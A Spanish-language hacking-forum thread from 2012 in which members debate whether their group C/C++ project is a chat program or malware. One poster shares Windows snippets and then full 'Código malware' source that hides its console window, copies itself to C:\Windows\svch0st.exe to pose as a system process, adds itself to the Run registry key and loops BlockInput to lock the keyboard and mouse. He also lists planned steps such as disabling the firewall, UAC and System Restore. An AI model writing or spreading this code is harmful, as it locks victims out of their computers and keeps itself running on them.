Proyecto C/C++

Iniciado por lluk, 23 Septiembre 2012, 13:59 PM

0 Miembros y 2 Visitantes están viendo este tema.

lluk

yo prefiero lo del chat más que nada porque lo podemos hacer para windows y para linux (o hacerlo para uno y luego adaptarlo al otro)

aunque decidid vosotros porque a mi en realidad me da igual

тαптяα

Cita de: Dryken en 23 Septiembre 2012, 20:31 PM
La idea del malware me interesa, llevo tiempo queriendo hacer uno pero hay muchas funciones que no soy capaz de sacar...desbloquear panel de control, desbloquear cmd, desbloquear regedit, añadir al registro para iniciar con windows.

POR FAVOR, ELIJAMOS UN PROYECTO YA Y NO CAMBIEMOS MAS DE IDEA, cojamos este si os parece.

Nombre sugerido... Libreware

Bloquear Teclado y ratón

Código (cpp) [Seleccionar]

#include <winable.h>
BlockInput(true);
Sleep(20000);
BlockInput(false);


Copiar al registro

Código (cpp) [Seleccionar]

HKEY hkey;
RegOpenKeyEx
(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"Nombre",0,REG_SZ,(const unsigned char*)"C:\\Ruta\\",sizeof"C:\\Ruta\\");         
RegCloseKey(hkey);



Desactivar cmd No me funciona

Código (cpp) [Seleccionar]

DWORD dwVal = 1;
HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System", 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx (hKey, "DisableCMD", 0, REG_DWORD, (LPBYTE)&dwVal , sizeof(DWORD));
RegCloseKey(hKey);


Desctivar administrador de tareas No me funciona

Código (cpp) [Seleccionar]

HWND TaskMgr;
TaskMgr = FindWindow(NULL,"Windows Task Manager");
if(TaskMgr != NULL) {
PostMessage(TaskMgr,WM_CLOSE,(LPARAM)0,(WPARAM)0);
}


Los pasos que necesitaremos serán estos:

1-Desactivar Firewall.
2-Desactivar UAC.
3-Pegar el PE a Windows/System32
4-Copiarse al registro el Acceso Directo.
5-No deja acceder al usuario al registro (que diga que el admin lo ha desabilitado).
6-Desactivar el Restaurar Sistema.
7-Cerrar procesos

Ventanas Emergentes       
Ejecuta ventanas         
                                 
Ocultar la ventana de MS-DOS                
                                 
Oculta la ventana de MS-DOS y WINDOWS,  las 2 lineas
                                 
Pues venga, con todo esto ya tenemos una idea basica, pues empecemos al tema. Lo primero estructurar el code.




jajaaj todo eso esta en mi virus, "Virus Mouse v4" buscad en Google: Virus mouse v4 p43l0

0xDani

Ya lo digo a mi me gusta la idea del antivirus/malware, y pienso que lo bueno seria hacerlo para algun SO que no fuera windows, que es el SO para el que mas se programan estas cosas.

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

Dryken

Bueno venga, como 0xDani dice que quiere que sea portable optaremos por el chat pero por favor, que no se cambien más de ideas. Dejemos esta por definitiva.

тαптяαпсє si tienes algo de codigo compartelo e intentaremos mejorarlo entre todos, con algo se empieza. la cosa es que yo de sockets poco la verdad  :xD
Lo intentas y fracasas, lo intentas y fracasas pero fracasas realmente cuando dejas de intentarlo.

Calc Don v0.7 - C
http://foro.elhacker.net/programacion_cc/source_calculadora_calc_don_10-t366489.0.html

Hundir la flota v0.3 - C#
http://foro.elhacker.net/net/source_c_juego_hundir_la_flota_v01-t377794.0.html

lluk

тαптяαпсє contamos contigo para ayuda en cosas más "avanzadas"?

Cita de: 0xDani en 23 Septiembre 2012, 20:42 PM
Ya lo digo a mi me gusta la idea del antivirus/malware, y pienso que lo bueno seria hacerlo para algun SO que no fuera windows, que es el SO para el que mas se programan estas cosas.


tienes razón dani, pero piensa que la mayoría de gente programa en windows y no dispone de linux :/

DickGumshoe

Cita de: 0xDani en 23 Septiembre 2012, 20:42 PM
Ya lo digo a mi me gusta la idea del antivirus/malware, y pienso que lo bueno seria hacerlo para algun SO que no fuera windows, que es el SO para el que mas se programan estas cosas.



Lo mismo digo, me gusta la idea. No tengo actualmente ninguna distribución de Linux instalada en mi ordenador pero si acordamos hacer algo para dicho SO, me lo descargaría.

El chat puede ser una buena idea, siempre que sea portable.

тαптяα

Yo precisamente ahora, voy puteado con Linux, pues me funciona mal y voy a desinstalarlo, pero vamos a hacer una cosa.

En poco tiempo tendré un nuevo ordenador, en el cual me puedo bajar VirtualBox, y me instalo en un momento la distribución que prefiráis.

Cita de: Dryken en 23 Septiembre 2012, 20:42 PM
Bueno venga, como 0xDani dice que quiere que sea portable optaremos por el chat pero por favor, que no se cambien más de ideas. Dejemos esta por definitiva.

тαптяαпсє si tienes algo de codigo compartelo e intentaremos mejorarlo entre todos, con algo se empieza. la cosa es que yo de sockets poco la verdad  :xD


Código malware:

#include<windows.h>
#include<tlhelp32.h>
#include<winable.h>




int test_key(void);
int create_key(char *);



int main(void)
{
 int test,create;
 test=test_key();

 if (test==2)
 {
   char *path="c:\\WINDOWS\\svch0st.exe";
   create=create_key(path);

 }

HWND inv;
 AllocConsole();
 inv=FindWindowA("ConsoleWindowClass",NULL);
 ShowWindow(inv,0);
int c;

for(;;)
{
BlockInput(true);
}
    char root[60]="C:\\Windows\\";
   char nombre[60]="svch0st";
   char path[256]="svch0st";
   strcat(nombre,".exe");
   strcat(root,nombre);
   HMODULE copiar = GetModuleHandle(0);
   GetModuleFileName(copiar, path, 256);
   CopyFile(path,root,false);
}

int test_key(void)
{
 int check;
 HKEY hKey;
 char path[BUFSIZE];
 DWORD buf_length=BUFSIZE;
 int reg_key;

 reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
 if(reg_key!=0)
 {
   check=1;
   return check;
 }

 reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);

 if((reg_key!=0)||(buf_length>BUFSIZE))
   check=2;
 if(reg_key==0)
   check=0;

 RegCloseKey(hKey);
 return check;
}

int create_key(char *path)
{
   int reg_key,check;

   HKEY hkey;

   reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
   if(reg_key==0)
   {
       RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
       check=0;
       return check;
   }
   if(reg_key!=0)
       check=1;

   return check;

}

0xDani

Cita de: Dryken en 23 Septiembre 2012, 20:42 PM
Bueno venga, como 0xDani dice que quiere que sea portable optaremos por el chat pero por favor, que no se cambien más de ideas. Dejemos esta por definitiva.

тαптяαпсє si tienes algo de codigo compartelo e intentaremos mejorarlo entre todos, con algo se empieza. la cosa es que yo de sockets poco la verdad  :xD

Yo no he dicho que quiera que sea portable, lo unico que digo es que existen millones de virus para windows, y se pueden encontrar tantos codigos de malware para windows que es casi imposible ser original. Por otra parte en este tipo de aplicaciones que por lo general requieren de un rendimiento optimo te tienes que pegar a la API del sistema, por eso digo que no sea para windows.

Cita de: lluk en 23 Septiembre 2012, 20:44 PM
тαптяαпсє contamos contigo para ayuda en cosas más "avanzadas"?
tienes razón dani, pero piensa que la mayoría de gente programa en windows y no dispone de linux :/

De linux se puede disponer en poco tiempo... Recuerdo que es libre. Pero si seguis prefiriendo programar para windows pues no conteis conmigo, simplemente no me gusta.

Saludos.
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

lluk

una duda que tengo:
en principio en linux son las mismas funciones casi todas no? (excepto las system y tal..), lo que cambia son las librerías, verdad?

porque si eso podemos hacer algo para windows y luego adaptarlo a linux, aunque gran parte del código sera igual (menos sockets y tal)

Caster

La mejor idea creo que es hacer el chat pero que sea portable y sirva tanto para Linux como para Windows. Yo en poco dias particionare el disco e instalare Ubuntu, asi que dispondre de los dos